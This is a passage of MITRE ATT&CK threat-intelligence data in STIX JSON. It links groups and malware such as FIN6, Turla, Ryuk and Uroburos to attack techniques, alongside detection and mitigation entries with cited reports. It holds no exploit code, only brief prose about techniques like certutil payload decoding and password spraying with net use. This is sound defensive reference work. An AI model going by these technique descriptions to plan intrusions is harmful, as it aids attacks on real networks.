"x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Tripwire AppUNBlocker", "description": "Smith, T. (2016, October 27). AppUNBlocker: Bypassing AppLocker. Retrieved December 19, 2017.", "url": "https://www.tripwire.com/state-of-security/off-topic/appunblocker-bypassing-applocker/"}]}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--55ffbd77-ec97-4dca-9399-b9e4b62fbbf8", "type": "relationship", "created": "2018-01-16T16:13:52.465Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.youtube.com/watch?v=fevGZs0EQu8", "description": "Bromiley, M. and Lewis, P. (2016, October 7). Attacking the Hospitality and Gaming Industries: Tracking an Attacker Around the World in 7 Years. Retrieved October 6, 2017.", "source_name": "Mandiant FIN5 GrrCON Oct 2016"}], "modified": "2019-04-24T19:41:25.836Z", "description": "[FIN5](https://attack.mitre.org/groups/G0053) scans processes on all victim systems in the environment and uses automated scripts to pull back the results.(Citation: Mandiant FIN5 GrrCON Oct 2016)", "relationship_type": "uses", "source_ref": "intrusion-set--85403903-15e0-4f9f-9be4-a259ecad4022", "target_ref": "attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--560364b1-d3ab-465c-88e8-000a89a7e7d7", "type": "relationship", "created": "2022-03-30T14:26:51.841Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.841Z", "description": "Monitor for changes made to files for unexpected modifications to access permissions and attributes  ", "source_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", "target_ref": "attack-pattern--e64c62cf-9cd7-4a14-94ec-cdaac43ab44b", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--560a7947-3823-4f2b-8b84-238f9a9a2552", "created": "2020-03-17T02:28:29.737Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Kaspersky ProjectSauron Full Report", "description": "Kaspersky Lab's Global Research & Analysis Team. (2016, August 9). The ProjectSauron APT. Retrieved August 17, 2016.", "url": "https://securelist.com/files/2016/07/The-ProjectSauron-APT_research_KL.pdf"}, {"source_name": "Kaspersky ProjectSauron Technical Analysis", "description": "Kaspersky Lab's Global Research & Analysis Team. (2016, August 9). The ProjectSauron APT. Technical Analysis. Retrieved August 17, 2016.", "url": "https://securelist.com/files/2016/07/The-ProjectSauron-APT_Technical_Analysis_KL.pdf"}, {"source_name": "Threatpost Sauron", "description": "Michael Mimoso. (2016, August 8). ProjectSauron APT On Par With Equation, Flame, Duqu. Retrieved January 10, 2024.", "url": "https://threatpost.com/projectsauron-apt-on-par-with-equation-flame-duqu/119725/"}, {"source_name": "Symantec Remsec IOCs", "description": "Symantec Security Response. (2016, August 8). Backdoor.Remsec indicators of compromise. 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(2018, November 19). Not So Cozy: An Uncomfortable Examination of a Suspected APT29 Phishing Campaign. Retrieved November 27, 2018.", "url": "https://www.fireeye.com/blog/threat-research/2018/11/not-so-cozy-an-uncomfortable-examination-of-a-suspected-apt29-phishing-campaign.html"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-03-22T17:36:00.344Z", "description": "During [C0021](https://attack.mitre.org/campaigns/C0021), the threat actors lured users into clicking a malicious link which led to the download of a  ZIP archive containing a malicious .LNK file.(Citation: FireEye APT29 Nov 2018)", "relationship_type": "uses", "source_ref": "campaign--712e38c3-a656-426a-9b3b-a6bfb63294c6", "target_ref": "attack-pattern--ef67e13e-5598-4adc-bdb2-998225874fa9", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--5611881f-a9a3-4527-99a6-e717630703bb", "type": "relationship", "created": "2020-02-21T21:35:25.887Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2021-10-18T12:22:50.955Z", "description": "Some endpoint security solutions can be configured to block some types of process injection based on common sequences of behavior that occur during the injection process. ", "relationship_type": "mitigates", "source_ref": "course-of-action--90f39ee1-d5a3-4aaa-9f28-3b42815b0d46", "target_ref": "attack-pattern--41d9846c-f6af-4302-a654-24bba2729bc6", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--5614b582-eeed-4a52-a2e0-2f756f03e26c", "type": "relationship", "created": "2021-10-12T20:50:46.945Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Villadsen, O.. (2019, August 29). More_eggs, Anyone? Threat Actor ITG08 Strikes Again. Retrieved September 16, 2019.", "url": "https://securityintelligence.com/posts/more_eggs-anyone-threat-actor-itg08-strikes-again/", "source_name": "Security Intelligence More Eggs Aug 2019"}, {"description": "McKeague, B. et al. (2019, April 5). Pick-Six: Intercepting a FIN6 Intrusion, an Actor Recently Tied to Ryuk and LockerGoga Ransomware. Retrieved April 17, 2019.", "url": "https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html", "source_name": "FireEye FIN6 Apr 2019"}], "modified": "2021-10-12T20:50:46.945Z", "description": "[FIN6](https://attack.mitre.org/groups/G0037) has obtained and used tools such as [Mimikatz](https://attack.mitre.org/software/S0002), [Cobalt Strike](https://attack.mitre.org/software/S0154), and [AdFind](https://attack.mitre.org/software/S0552).(Citation: Security Intelligence More Eggs Aug 2019)(Citation: FireEye FIN6 Apr 2019)", "relationship_type": "uses", "source_ref": "intrusion-set--2a7914cf-dff3-428d-ab0f-1014d1c28aeb", "target_ref": "attack-pattern--a2fdce72-04b2-409a-ac10-cc1695f4fce0", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--561afb90-e94a-410f-9e6f-6880d996799f", "created": "2023-06-14T19:41:53.647Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Joint Cybersecurity Advisory AA23-129A Snake Malware May 2023", "description": "FBI et al. (2023, May 9). Hunting Russian Intelligence \u201cSnake\u201d Malware. Retrieved June 8, 2023.", "url": "https://www.cisa.gov/sites/default/files/2023-05/aa23-129a_snake_malware_2.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-10-04T19:31:10.536Z", "description": "[Uroburos](https://attack.mitre.org/software/S0022) can use concealed storage mechanisms including an NTFS or FAT-16 filesystem encrypted with CAST-128 in CBC mode.(Citation: Joint Cybersecurity Advisory AA23-129A Snake Malware May 2023)", "relationship_type": "uses", "source_ref": "malware--80a014ba-3fef-4768-990b-37d8bd10d7f4", "target_ref": "attack-pattern--dfebc3b7-d19d-450b-81c7-6dafe4184c04", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--561ccbcd-578f-4af2-81aa-8594796b6909", "created": "2022-05-27T13:54:57.722Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Crowdstrike AWS User Federation Persistence", "description": " Vaishnav Murthy and Joel Eng. (2023, January 30). How Adversaries Can Persist with AWS User Federation. Retrieved March 10, 2023.", "url": "https://www.crowdstrike.com/blog/how-adversaries-persist-with-aws-user-federation/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-03-10T17:27:50.449Z", "description": "Ensure that low-privileged user accounts do not have permission to add access keys to accounts. In AWS environments, prohibit users from calling the `sts:GetFederationToken` API unless explicitly required.(Citation: Crowdstrike AWS User Federation Persistence)", "relationship_type": "mitigates", "source_ref": "course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317", "target_ref": "attack-pattern--8a2f40cf-8325-47f9-96e4-b1ca4c7389bd", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--561f217e-8392-40b3-84a7-29fbd1399d88", "type": "relationship", "created": "2021-03-29T13:12:00.941Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ANSSI RYUK RANSOMWARE", "url": "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-006.pdf", "description": "ANSSI. (2021, February 25). RYUK RANSOMWARE. Retrieved March 29, 2021."}], "modified": "2021-03-29T13:12:00.941Z", "description": "[Ryuk](https://attack.mitre.org/software/S0446) can use stolen domain admin accounts to move laterally within a victim domain.(Citation: ANSSI RYUK RANSOMWARE)", "relationship_type": "uses", "source_ref": "malware--a020a61c-423f-4195-8c46-ba1d21abba37", "target_ref": "attack-pattern--c3d4bdd9-2cfe-4a80-9d0c-07a29ecdce8f", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--562d2865-7133-4cdb-b280-c90105b0a118", "type": "relationship", "created": "2021-03-03T20:26:15.800Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "CISA AppleJeus Feb 2021", "url": "https://us-cert.cisa.gov/ncas/alerts/aa21-048a", "description": "Cybersecurity and Infrastructure Security Agency. (2021, February 21). AppleJeus: Analysis of North Korea\u2019s Cryptocurrency Malware. Retrieved March 1, 2021."}], "modified": "2021-03-03T20:26:15.800Z", "description": "[AppleJeus](https://attack.mitre.org/software/S0584) has used a valid digital signature from Sectigo to appear legitimate.(Citation: CISA AppleJeus Feb 2021) ", "relationship_type": "uses", "source_ref": "malware--e2d34c63-6f5a-41f5-86a2-e2380f27f858", "target_ref": "attack-pattern--32901740-b42c-4fdd-bc02-345b5dc57082", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--5632a2de-e231-4ef0-971b-6cdb2750d410", "type": "relationship", "created": "2020-03-12T14:18:38.929Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-03-27T18:25:03.508Z", "description": "In some cases a local DNS sinkhole may be used to help prevent behaviors associated with dynamic resolution.", "relationship_type": "mitigates", "source_ref": "course-of-action--21da4fd4-27ad-4e9c-b93d-0b9b14d02c96", "target_ref": "attack-pattern--7bd9c723-2f78-4309-82c5-47cad406572b", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--563c1b39-f32b-4dfd-b3c1-47fb66ce9eb7", "type": "relationship", "created": "2021-08-11T13:38:00.294Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://github.com/PowerShellEmpire/Empire", "description": "Schroeder, W., Warner, J., Nelson, M. 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Retrieved February 8, 2017.", "url": "https://web.archive.org/web/20150412223949/http://www.novetta.com/wp-content/uploads/2015/04/novetta_winntianalysis.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-03-20T22:02:53.992Z", "description": "[Winnti for Windows](https://attack.mitre.org/software/S0141) can check if the explorer.exe process is responsible for calling its install function.(Citation: Novetta Winnti April 2015)", "relationship_type": "uses", "source_ref": "malware--d3afa961-a80c-4043-9509-282cdf69ab21", "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--56465210-d279-4982-a9fa-94a69f5b0b80", "type": "relationship", "created": "2020-06-10T19:31:48.069Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Trend Micro Tick November 2019", "url": "https://documents.trendmicro.com/assets/pdf/Operation-ENDTRADE-TICK-s-Multi-Stage-Backdoors-for-Attacking-Industries-and-Stealing-Classified-Data.pdf", "description": "Chen, J. et al. (2019, November). Operation ENDTRADE: TICK\u2019s Multi-Stage Backdoors for Attacking Industries and Stealing Classified Data. Retrieved June 9, 2020."}], "modified": "2020-06-24T01:27:32.402Z", "description": "[build_downer](https://attack.mitre.org/software/S0471) has the ability to determine the local time to ensure malware installation only happens during the hours that the infected system is active.(Citation: Trend Micro Tick November 2019)", "relationship_type": "uses", "source_ref": "malware--d2c7f8ad-3b50-4cfa-bbb1-799eff06fb40", "target_ref": "attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--5647a587-99fc-497b-80b7-ed63ee6126a6", "created": "2022-08-16T17:56:17.405Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Unit 42 PingPull Jun 2022", "description": "Unit 42. (2022, June 13). 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Retrieved September 13, 2018.", "source_name": "DOJ GRU Indictment Jul 2018"}], "modified": "2019-09-09T17:44:35.439Z", "description": "Once [APT28](https://attack.mitre.org/groups/G0007) gained access to the DCCC network, the group then proceeded to use that access to compromise the DNC network.(Citation: DOJ GRU Indictment Jul 2018)", "relationship_type": "uses", "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", "target_ref": "attack-pattern--9fa07bef-9c81-421e-a8e5-ad4366c5a925", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--565d59a0-e2a6-45d2-b655-cff8d02f7ebf", "created": "2022-04-07T22:40:55.377Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "TrendMicro Confucius APT Feb 2018", "url": "https://www.trendmicro.com/en_us/research/18/b/deciphering-confucius-cyberespionage-operations.html", "description": "Lunghi, D and Horejsi, J. (2018, February 13). Deciphering Confucius: A Look at the Group's Cyberespionage Operations. Retrieved December 26, 2021."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Confucius](https://attack.mitre.org/groups/G0142) has used VBScript to execute malicious code.(Citation: TrendMicro Confucius APT Feb 2018)", "modified": "2022-04-07T22:40:55.377Z", "relationship_type": "uses", "source_ref": "intrusion-set--6eded342-33e5-4451-b6b2-e1c62863129f", "target_ref": "attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--565da748-a5c8-417c-8c55-828c6e9f2c35", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Talos GravityRAT", "description": "Mercer, W., Rascagneres, P. (2018, April 26). GravityRAT - The Two-Year Evolution Of An APT Targeting India. Retrieved May 16, 2018.", "url": "https://blog.talosintelligence.com/2018/04/gravityrat-two-year-evolution-of-apt.html"}], "modified": "2019-04-24T23:21:59.171Z", "description": "[GravityRAT](https://attack.mitre.org/software/S0237) steals files based on an extension list if a USB drive is connected to the system.(Citation: Talos GravityRAT)", "relationship_type": "uses", "source_ref": "malware--1d1fce2f-0db5-402b-9843-4278a0694637", "target_ref": "attack-pattern--1b7ba276-eedc-4951-a762-0ceea2c030ec", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--565f6cdf-e29b-430d-8b42-e0b0b93fa994", "type": "relationship", "created": "2019-07-09T17:54:21.445Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Falcone, R. and Lancaster, T. (2019, May 28). Emissary Panda Attacks Middle East Government Sharepoint Servers. Retrieved July 9, 2019.", "url": "https://unit42.paloaltonetworks.com/emissary-panda-attacks-middle-east-government-sharepoint-servers/", "source_name": "Unit42 Emissary Panda May 2019"}], "modified": "2021-10-12T19:21:39.460Z", "description": "(Citation: Unit42 Emissary Panda May 2019)", "relationship_type": "uses", "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c", "target_ref": "tool--26c87906-d750-42c5-946c-d4162c73fc7b", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--56682d47-48ad-4a8c-9f55-124f7cb90e5b", "type": "relationship", "created": "2020-10-08T20:15:21.359Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt-fin6.pdf", "description": "FireEye Threat Intelligence. (2016, April). Follow the Money: Dissecting the Operations of the Cyber Crime Group FIN6. Retrieved June 1, 2016.", "source_name": "FireEye FIN6 April 2016"}], "modified": "2020-10-19T18:18:50.434Z", "description": "[FIN6](https://attack.mitre.org/groups/G0037) has removed files from victim machines.(Citation: FireEye FIN6 April 2016)", "relationship_type": "uses", "source_ref": "intrusion-set--2a7914cf-dff3-428d-ab0f-1014d1c28aeb", "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--566913fd-3f30-4d33-b275-4a8c8f31a1c3", "created": "2022-06-15T12:53:57.310Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "Kaspersky Lyceum October 2021", "url": "https://vblocalhost.com/uploads/VB2021-Kayal-etal.pdf", "description": "Kayal, A. et al. (2021, October). LYCEUM REBORN: COUNTERINTELLIGENCE IN THE MIDDLE EAST. Retrieved June 14, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Kevin](https://attack.mitre.org/software/S1020) can send data from the victim host through a DNS C2 channel.(Citation: Kaspersky Lyceum October 2021)", "modified": "2022-06-15T12:53:57.310Z", "relationship_type": "uses", "source_ref": "malware--e7863f5d-cb6a-4f81-8804-0a635eec160a", "target_ref": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--56694ef7-3ce3-4d8a-914b-71a201dc5921", "type": "relationship", "created": "2021-02-08T21:41:25.791Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "CheckPoint Volatile Cedar March 2015", "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2015/03/20082004/volatile-cedar-technical-report.pdf", "description": "Threat Intelligence and Research. (2015, March 30). VOLATILE CEDAR. Retrieved February 8, 2021."}, {"source_name": "ClearSky Lebanese Cedar Jan 2021", "url": "https://www.clearskysec.com/wp-content/uploads/2021/01/Lebanese-Cedar-APT.pdf", "description": "ClearSky Cyber Security. (2021, January). \u201cLebanese Cedar\u201d APT Global Lebanese Espionage Campaign Leveraging Web Servers. Retrieved February 10, 2021."}], "modified": "2021-02-10T18:12:09.867Z", "description": "[Explosive](https://attack.mitre.org/software/S0569) has leveraged its keylogging capabilities to gain access to administrator accounts on target servers.(Citation: CheckPoint Volatile Cedar March 2015)(Citation: ClearSky Lebanese Cedar Jan 2021) ", "relationship_type": "uses", "source_ref": "malware--6a21e3a4-5ffe-4581-af9a-6a54c7536f44", "target_ref": "attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--566d783a-2d86-4b9a-8ca0-5013de5f7fb4", "type": "relationship", "created": "2018-01-16T16:13:52.465Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "OilRig New Delivery Oct 2017", "description": "Falcone, R. and Lee, B. (2017, October 9). OilRig Group Steps Up Attacks with New Delivery Documents and New Injector Trojan. Retrieved January 8, 2018.", "url": "https://researchcenter.paloaltonetworks.com/2017/10/unit42-oilrig-group-steps-attacks-new-delivery-documents-new-injector-trojan/"}], "modified": "2020-03-28T21:35:37.265Z", "description": "[ISMInjector](https://attack.mitre.org/software/S0189) uses the <code>certutil</code> command to decode a payload file.(Citation: OilRig New Delivery Oct 2017)", "relationship_type": "uses", "source_ref": "malware--5be33fef-39c0-4532-84ee-bea31e1b5324", "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--566db8cc-9dd7-496b-8d40-e510fcf6b9fe", "created": "2022-03-24T14:12:38.013Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "GitHub MOTW", "url": "https://gist.github.com/wdormann/fca29e0dcda8b5c0472e73e10c78c3e7", "description": "wdormann. (2019, August 29). Disable Windows Explorer file associations for Disc Image Mount. Retrieved April 16, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "Consider disabling auto-mounting of disk image files (i.e., .iso, .img, .vhd, and .vhdx). This can be achieved by modifying the Registry values related to the Windows Explorer file associations in order to disable the automatic Explorer \"Mount and Burn\" dialog for these file extensions. Note: this will not deactivate the mount functionality itself.(Citation: GitHub MOTW)", "modified": "2022-04-16T20:03:06.842Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "mitigates", "source_ref": "course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31", "target_ref": "attack-pattern--7e7c2fba-7cca-486c-9582-4c1bb2851961", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--566f99e4-d29f-4b73-a515-aa919ac89957", "created": "2022-08-03T03:22:54.501Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "SpecterOps Certified Pre Owned", "description": "Schroeder, W. & Christensen, L. (2021, June 22). Certified Pre-Owned - Abusing Active Directory Certificate Services. Retrieved August 2, 2022.", "url": "https://web.archive.org/web/20220818094600/https://specterops.io/assets/resources/Certified_Pre-Owned.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-10-21T20:32:29.688Z", "description": "Ensure CA audit logs are enabled and monitor these services for signs of abuse.(Citation: SpecterOps Certified Pre Owned)", "relationship_type": "detects", "source_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", "target_ref": "attack-pattern--7de1f7ac-5d0c-4c9c-8873-627202205331", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--56713b27-7353-4fbd-9307-b9a9075e1309", "type": "relationship", "created": "2022-03-30T14:26:51.852Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.852Z", "description": "Monitor network data for uncommon data flows. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious.", "source_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", "target_ref": "attack-pattern--9e7452df-5144-4b6e-b04a-b66dd4016747", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--5677034a-7015-44a2-94b3-9913bc76b9c7", "type": "relationship", "created": "2019-04-16T14:47:49.597Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Symantec Security Response. (2018, October 10). Gallmaker: New Attack Group Eschews Malware to Live off the Land. Retrieved November 27, 2018.", "url": "https://www.symantec.com/blogs/threat-intelligence/gallmaker-attack-group", "source_name": "Symantec Gallmaker Oct 2018"}], "modified": "2020-03-30T02:16:58.128Z", "description": "[Gallmaker](https://attack.mitre.org/groups/G0084) has used WinZip, likely to archive data prior to exfiltration.(Citation: Symantec Gallmaker Oct 2018)", "relationship_type": "uses", "source_ref": "intrusion-set--2fd2be6a-d3a2-4a65-b499-05ea2693abee", "target_ref": "attack-pattern--00f90846-cbd1-4fc5-9233-df5c2bf2a662", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--5680146f-fc33-4b3e-bbc0-66a7f74587d3", "type": "relationship", "created": "2019-04-17T16:58:29.419Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "District Court of NY APT10 Indictment December 2018", "url": "https://www.justice.gov/opa/page/file/1122671/download", "description": "US District Court Southern District of New York. (2018, December 17). United States v. Zhu Hua Indictment. Retrieved December 17, 2020."}], "modified": "2020-12-17T19:56:08.070Z", "description": "[menuPass](https://attack.mitre.org/groups/G0045) has used key loggers to steal usernames and passwords.(Citation: District Court of NY APT10 Indictment December 2018)", "relationship_type": "uses", "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f", "target_ref": "attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--5682d524-80f0-4fd8-9960-6f54eeafce96", "type": "relationship", "created": "2017-05-31T21:33:27.045Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://securelist.com/the-epic-turla-operation/65545/", "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.", "source_name": "Kaspersky Turla"}], "modified": "2020-03-24T20:13:40.075Z", "description": "[Turla](https://attack.mitre.org/groups/G0010) may attempt to connect to systems within a victim's network using <code>net use</code> commands and a predefined list or collection of passwords.(Citation: Kaspersky Turla)", "relationship_type": "uses", "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6", "target_ref": "attack-pattern--a93494bb-4b80-4ea1-8695-3236a49916fd", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": 